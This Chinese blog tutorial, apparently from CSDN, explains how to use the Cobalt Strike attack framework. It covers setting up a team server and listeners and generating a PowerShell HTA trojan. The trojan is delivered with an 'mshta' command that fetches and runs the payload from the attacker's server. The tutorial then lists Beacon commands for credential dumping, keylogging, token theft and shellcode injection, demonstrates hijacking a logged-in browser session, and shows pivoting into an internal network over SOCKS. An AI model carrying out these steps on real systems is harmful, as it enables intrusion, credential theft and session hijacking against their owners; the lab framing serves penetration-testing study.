Cobalt Strike使用教程

0x00 简介

Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。
Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。

0x01 目录结构

一般Cobalt Strike目录结构如下:

agscript 拓展应用的脚本
c2lint 用于检查profile的错误异常
teamserver 服务端程序
cobaltstrike,cobaltstrike.jar客户端程序(java跨平台)
 license.pdf 许可证文件
logs 目录记录与目标主机的相关信息 
update,update.jar用于更新CS 
third-party 第三方工具
  
  
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

0x02 安装运行

团队服务器

团队服务器最好运行在Linux平台上,服务端的关键文件是teamserver和cobaltstrike.jar,将这两个文件放在同一目录下运行:

./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
<host> 必需参数 团队服务器IP
<password> 必需参数 连接服务器的密码
[/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性
[YYYY-MM-DD] 可选参数 所有payload的终止时间

# 启动Team Server
./teamserver 192.168.183.147 123456 # 设置强密码,否则容易被爆破,参考附录

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

在这里插入图片描述
PS:团队服务器默认连接端口为50050,如果你想修改端口只需修改teamserver文件
在这里插入图片描述

客户端

Linux:./cobaltstrike或 java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
Windows:双击cobaltstrike.exe
在这里插入图片描述
输入服务端IP,端口默认50050,用户名任意,密码为之前设置的密码,点击connect。第一次连接会出现hash校验,这里的hash等于前面的启动teamserver时的hash,直接点击‘是’即可连接到团队服务器上。
在这里插入图片描述

0x02 参数详情

Cobalt Strike

New Connection   # 新建连接,支持连接多个服务器端
Preferences   # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
Visualization   # 主要展示输出结果的视图
VPN Interfaces   # 设置VPN接口
Listenrs   # 创建监听器
Script Manager   # 脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等
Close   # 退出连接
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

View

Applications   # 显示受害主机的应用信息
Credentials   # 显示所有以获取的受害主机的凭证,如hashdump、Mimikatz
Downloads   # 查看已下载文件
Event Log   # 主机上线记录以及团队协作聊天记录
Keystrokes   # 查看键盘记录结果
Proxy Pivots   # 查看代理模块
Screenshots   # 查看所有屏幕截图
Script Console   # 加载第三方脚本以增强功能 
Targets   # 显示所有受害主机
Web Log    # 所有Web服务的日志
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

Attacks

Packages
HTML Application   # 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件
MS Office Macro   # 生成office宏病毒文件
Payload Generator   # 生成各种语言版本的payload
USB/CD AutoPlay   # 生成利用自动播放运行的木马文件
Windows Dropper   # 捆绑器能够对任意的正常文件进行捆绑(免杀效果差)
Windows Executable   # 生成可执行exe木马
Windows Executable(Stageless)   # 生成无状态的可执行exe木马
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
Web Drive-by
Manage   # 对开启的web服务进行管理
Clone Site   # 克隆网站,可以记录受害者提交的数据
Host File   # 提供文件下载,可以选择Mime类型
Scripted Web Delivery   # 为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery 
Signed Applet Attack   # 使用java自签名的程序进行钓鱼攻击(该方法已过时)
Smart Applet Attack   # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(该方法已过时)
System Profiler   # 用来获取系统信息,如系统版本,Flash版本,浏览器版本等
Spear Phish   # 鱼叉钓鱼邮件
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

Reporting

Activity Report   # 活动报告
Hosts Report   # 主机报告
Indicators of Compromise   # IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes
Sessions Report   # 会话报告
Social Engineering Report   # 社会工程报告:包括鱼叉钓鱼邮件及点击记录
Tactics, Techniques, and Procedures   # 战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略
Reset Data   # 重置数据
Export Data   # 导出数据,导出.tsv文件格式
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

Help

Homepage   # 官方主页
Support   # 技术支持
Arsenal   # 开发者
System information   # 版本信息
About   # 关于
 
 
  • 1
  • 2
  • 3
  • 4

工具栏

在这里插入图片描述

1.新建连接
2.断开当前连接
3.监听器
4.改变视图为Pivot Graph(视图列表)
5.改变视图为Session Table(会话列表)
6.改变视图为Target Table(目标列表)
7.显示所有以获取的受害主机的凭证
8.查看已下载文件
9.查看键盘记录结果
10.查看屏幕截图
11.生成无状态的可执行exe木马
12.使用java自签名的程序进行钓鱼攻击
13.生成office宏病毒文件
14.为payload提供web服务以便下载和执行
15.提供文件下载,可以选择Mime类型
16.管理Cobalt Strike上运行的web服务
17.帮助
18.关于
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

0x03 基本流程

创建监听器

点击Cobalt Strike -> Listeners->Add,其中内置了九个Listener

indows/beacon_dns/reverse_dns_txtwindows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

其中windows/beacon为内置监听器,包括dns、http、https、smb四种方式的监听器;windows/foreign为外部监听器,配合Metasploit或者Armitage的监听器。
在这里插入图片描述
Name任意,选择所需的payload,Host为本机IP,port为没有被占用的任意端口
点击save即创建成功
在这里插入图片描述

生成木马

这里选择其中一种攻击方式作示范,后面再做详细解释:
点击Attacks->Packages->HTML Application,选择对应的监听器,方法这里有三种(executable/VBA/powershell),选择powershell,点击Generate生成,选择生成的路径及文件名保存即可。
在这里插入图片描述
在这里插入图片描述

开启web服务

点击Attacks->Web Drive-by->Host File,选择刚刚生成的木马evil.hta,点击Launch生成下载链接
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gGZcXV46-1571903546481)(/images/CobaltStrike/9.png)]
在这里插入图片描述

运行木马

打开受害机cmd,运行mshta命令。mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件。

mshta http://192.168.183.147/download/file.ext
 
 

    在这里插入图片描述
    返回CS即可看到肉鸡上线
    在这里插入图片描述
    选中受害机右击,选择interact,即可进行交互,由于受害机默认60秒进行一次回传,为了实验效果我们这里把时间设置成5,但实际中频率不宜过快,容易被发现。
    在这里插入图片描述

    导出报告

    点击Reporting->Activity Report,导出默认PDF文档
    在这里插入图片描述

    0x04 Beacon

    当受害机上线以后,右击选择Interact,就可以打开Beacon Console
    在beacon处输入help可以看到命令说明

    Beacon Commands
    ===============
    
    Command                   Description
    -------                   -----------
    argue                     进程参数欺骗
    blockdlls                 在子进程中阻止非Microsoft的DLLs文件
    browserpivot              注入受害者浏览器进程
    bypassuac                 绕过UAC
    cancel                    取消正在进行的下载
    <span class="token function">cd</span>                        切换目录
    checkin                   强制让被控端回连一次
    <span class="token function">clear</span>                     清除beacon内部的任务队列
    connect                   通过TCP连接到Beacon
    covertvpn                 部署Covert VPN客户端
    <span class="token function">cp</span>                        复制文件
    dcsync                    从DC中提取密码哈希
    desktop                   远程VNC
    dllinject                 反射DLL注入进程
    dllload                   使用LoadLibrary将DLL加载到进程中
    download                  下载文件
    downloads                 列出正在进行的文件下载
    drives                    列出目标盘符
    elevate                   尝试提权
    execute                   在目标上执行程序<span class="token punctuation">(</span>无输出<span class="token punctuation">)</span>
    execute-assembly          在目标上内存中执行本地.NET程序
    <span class="token keyword">exit</span>                      退出beacon
    getprivs                  对当前令牌启用系统权限
    getsystem                 尝试获取SYSTEM权限
    getuid                    获取用户ID
    hashdump                  转储密码哈希值
    <span class="token function">help</span>                      帮助
    inject                    在特定进程中生成会话
    jobkill                   杀死一个后台任务
    <span class="token function">jobs</span>                      列出后台任务
    kerberos_ccache_use       从ccache文件中导入票据应用于此会话
    kerberos_ticket_purge     清除当前会话的票据
    kerberos_ticket_use       从ticket文件中导入票据应用于此会话
    keylogger                 键盘记录
    <span class="token function">kill</span>                      结束进程
    <span class="token function">link</span>                      通过命名管道连接到Beacon
    logonpasswords            使用mimikatz转储凭据和哈希值
    <span class="token function">ls</span>                        列出文件
    make_token                创建令牌以传递凭据
    mimikatz                  运行mimikatz
    <span class="token function">mkdir</span>                     创建一个目录
    mode dns                  使用DNS A作为通信通道<span class="token punctuation">(</span>仅限DNS beacon<span class="token punctuation">)</span>
    mode dns-txt              使用DNS TXT作为通信通道<span class="token punctuation">(</span>仅限D beacon<span class="token punctuation">)</span>
    mode dns6                 使用DNS AAAA作为通信通道<span class="token punctuation">(</span>仅限DNS beacon<span class="token punctuation">)</span>
    mode http                 使用HTTP作为通信通道
    <span class="token function">mv</span>                        移动文件
    net                       net命令
    note                      给当前目标机器备注       
    portscan                  进行端口扫描
    powerpick                 通过Unmanaged PowerShell执行命令
    powershell                通过powershell.exe执行命令
    powershell-import         导入powershell脚本
    ppid                      为生成的post-ex任务设置父PID
    <span class="token function">ps</span>                        显示进程列表
    psexec                    使用服务在主机上生成会话
    psexec_psh                使用PowerShell在主机上生成会话
    psinject                  在特定进程中执行PowerShell命令
    pth                       使用Mimikatz进行传递哈希
    <span class="token function">pwd</span>                       当前目录位置
    reg                       查询注册表
    rev2self                  恢复原始令牌
    <span class="token function">rm</span>                        删除文件或文件夹
    rportfwd                  端口转发
    run                       在目标上执行程序<span class="token punctuation">(</span>返回输出<span class="token punctuation">)</span>
    runas                     以另一个用户权限执行程序
    runasadmin                在高权限下执行程序
    runu                      在另一个PID下执行程序
    screenshot                屏幕截图
    setenv                    设置环境变量
    shell                     cmd执行命令
    shinject                  将shellcode注入进程
    shspawn                   生成进程并将shellcode注入其中
    <span class="token function">sleep</span>                     设置睡眠延迟时间
    socks                     启动SOCKS4代理
    socks stop                停止SOCKS4
    spawn                     生成一个会话 
    spawnas                   以其他用户身份生成会话
    spawnto                   将可执行程序注入进程
    spawnu                    在另一个PID下生成会话
    <span class="token function">ssh</span>                       使用ssh连接远程主机
    ssh-key                   使用密钥连接远程主机
    steal_token               从进程中窃取令牌
    timestomp                 将一个文件时间戳应用到另一个文件
    unlink                    断开与Beacon的连接
    upload                    上传文件
    wdigest                   使用mimikatz转储明文凭据
    winrm                     使用WinRM在主机上生成会话
    wmi                       使用WMI在主机上生成会话<div class="hljs-button {2}" data-title="复制" data-report-click="{&quot;spm&quot;:&quot;1001.2101.3001.4259&quot;}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li><li style="color: rgb(153, 153, 153);">20</li><li style="color: rgb(153, 153, 153);">21</li><li style="color: rgb(153, 153, 153);">22</li><li style="color: rgb(153, 153, 153);">23</li><li style="color: rgb(153, 153, 153);">24</li><li style="color: rgb(153, 153, 153);">25</li><li style="color: rgb(153, 153, 153);">26</li><li style="color: rgb(153, 153, 153);">27</li><li style="color: rgb(153, 153, 153);">28</li><li style="color: rgb(153, 153, 153);">29</li><li style="color: rgb(153, 153, 153);">30</li><li style="color: rgb(153, 153, 153);">31</li><li style="color: rgb(153, 153, 153);">32</li><li style="color: rgb(153, 153, 153);">33</li><li style="color: rgb(153, 153, 153);">34</li><li style="color: rgb(153, 153, 153);">35</li><li style="color: rgb(153, 153, 153);">36</li><li style="color: rgb(153, 153, 153);">37</li><li style="color: rgb(153, 153, 153);">38</li><li style="color: rgb(153, 153, 153);">39</li><li style="color: rgb(153, 153, 153);">40</li><li style="color: rgb(153, 153, 153);">41</li><li style="color: rgb(153, 153, 153);">42</li><li style="color: rgb(153, 153, 153);">43</li><li style="color: rgb(153, 153, 153);">44</li><li style="color: rgb(153, 153, 153);">45</li><li style="color: rgb(153, 153, 153);">46</li><li style="color: rgb(153, 153, 153);">47</li><li style="color: rgb(153, 153, 153);">48</li><li style="color: rgb(153, 153, 153);">49</li><li style="color: rgb(153, 153, 153);">50</li><li style="color: rgb(153, 153, 153);">51</li><li style="color: rgb(153, 153, 153);">52</li><li style="color: rgb(153, 153, 153);">53</li><li style="color: rgb(153, 153, 153);">54</li><li style="color: rgb(153, 153, 153);">55</li><li style="color: rgb(153, 153, 153);">56</li><li style="color: rgb(153, 153, 153);">57</li><li style="color: rgb(153, 153, 153);">58</li><li style="color: rgb(153, 153, 153);">59</li><li style="color: rgb(153, 153, 153);">60</li><li style="color: rgb(153, 153, 153);">61</li><li style="color: rgb(153, 153, 153);">62</li><li style="color: rgb(153, 153, 153);">63</li><li style="color: rgb(153, 153, 153);">64</li><li style="color: rgb(153, 153, 153);">65</li><li style="color: rgb(153, 153, 153);">66</li><li style="color: rgb(153, 153, 153);">67</li><li style="color: rgb(153, 153, 153);">68</li><li style="color: rgb(153, 153, 153);">69</li><li style="color: rgb(153, 153, 153);">70</li><li style="color: rgb(153, 153, 153);">71</li><li style="color: rgb(153, 153, 153);">72</li><li style="color: rgb(153, 153, 153);">73</li><li style="color: rgb(153, 153, 153);">74</li><li style="color: rgb(153, 153, 153);">75</li><li style="color: rgb(153, 153, 153);">76</li><li style="color: rgb(153, 153, 153);">77</li><li style="color: rgb(153, 153, 153);">78</li><li style="color: rgb(153, 153, 153);">79</li><li style="color: rgb(153, 153, 153);">80</li><li style="color: rgb(153, 153, 153);">81</li><li style="color: rgb(153, 153, 153);">82</li><li style="color: rgb(153, 153, 153);">83</li><li style="color: rgb(153, 153, 153);">84</li><li style="color: rgb(153, 153, 153);">85</li><li style="color: rgb(153, 153, 153);">86</li><li style="color: rgb(153, 153, 153);">87</li><li style="color: rgb(153, 153, 153);">88</li><li style="color: rgb(153, 153, 153);">89</li><li style="color: rgb(153, 153, 153);">90</li><li style="color: rgb(153, 153, 153);">91</li><li style="color: rgb(153, 153, 153);">92</li></ul></pre> 
    

    可用help+命令的方式查看具体命令参数说明

    beacon> help argue
    Use: argue [command] [fake arguments]
         argue [command]
         argue
    

    Spoof [fake arguments] for [command] processes launched by Beacon.
    This option does not affect runu/spawnu, runas/spawnas, or post-ex jobs.

    Use argue [command] to disable this feature for the specified command.

    Use argue by itself to list programs with defined spoofed arguments.

    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    之前说过CS与受害机默认60s进行一次交互,为了方便实验我们可以把时间设置为0

    beacon>sleep 0
     
     

      下面我就介绍一下几个常用的命令

      browserpivot

      Browser Pivot是一个针对IE浏览器的技术,利用的是IE的cookie机制,Cobalt Strike通过IE注入进程以继承用户的已验证Web会话,达到无需验证登录用户访问的网站。
      假设受害者在通过IE浏览器登录了网站后台
      在这里插入图片描述
      我们可以通过ps找到浏览器进程,然后通过命令进行注入

      beacon> browserpivot 2600 x86
       
       

        在这里插入图片描述
        这里之所以选择PID 2600是因为我们需要插入Internet Explorer以继承用户的已验证Web会话。IE的新版本会为每个选项卡生成一个进程,我们必须将其插入子选项卡以继承会话状态。通常,子选项卡共享所有会话状态。通过查看PPID值来标识IE子选项卡进程,当PPID引用explorer.exe时,该进程不是子选项卡;当PPID引用iexplore.exe时,该进程就是子选项卡。
        当然这里也可以通过图形界面注入,右击选中Explore->Browser Pivot
        在这里插入图片描述
        然后浏览器设置代理
        在这里插入图片描述
        然后访问受害者所访问的网页,发现无需登录直接进入后台
        在这里插入图片描述

        Socks代理

        开启socks4a代理,通过代理进行内网渗透
        开启socks,可以通过命令,也可以通过右键Pivoting->SOCKS Server

        beacon> socks 2222
        [+] started SOCKS4a server on: 2222
        [+] host called home, sent: 16 bytes
         
         
        • 1
        • 2

        然后vim /etc/proxychains.conf ,在文件末尾添加socks4代理服务器
        在这里插入图片描述
        使用proxychains代理扫描内网主机

        proxychains nmap -sP 192.168.183.0/24
         
         

          在这里插入图片描述
          我们还可以通过隧道将整个msf带进目标内网
          点击View->Proxy Pivots,选择Socks4a Proxy,点击Tunnel:
          在这里插入图片描述

          setg Proxies socks4:192.168.183.147:2222
           
           

            打开msf对内网进行扫描
            在这里插入图片描述
            关闭socks

            beacon>socks stop
             
             

              powershell-import

              这个功能在后渗透测试中很有用,可以导入各种powershell渗透框架,如NishangPowerSploit攻击框架
              在beacon shell输入powershell-import,导入已有的ps文件

              beacon> powershell-import
               
               

                在这里插入图片描述
                在这里插入图片描述
                关于具体有哪些命令可以操作可以查看一下相应ps文件

                0x05 附录

                爆破cobalt strike密码脚本:https://github.com/ryanohoro/csbruter
                在这里插入图片描述
                在这里插入图片描述

                评论
                添加红包

                请填写红包祝福语或标题

                红包个数最小为10个

                红包金额最低5元

                当前余额3.43前往充值 >
                需支付:10.00
                成就一亿技术人!
                领取后你会自动成为博主和红包主的粉丝 规则
                hope_wisdom
                发出的红包
                实付
                使用余额支付
                点击重新获取
                扫码支付
                钱包余额 0

                抵扣说明:

                1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
                2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

                余额充值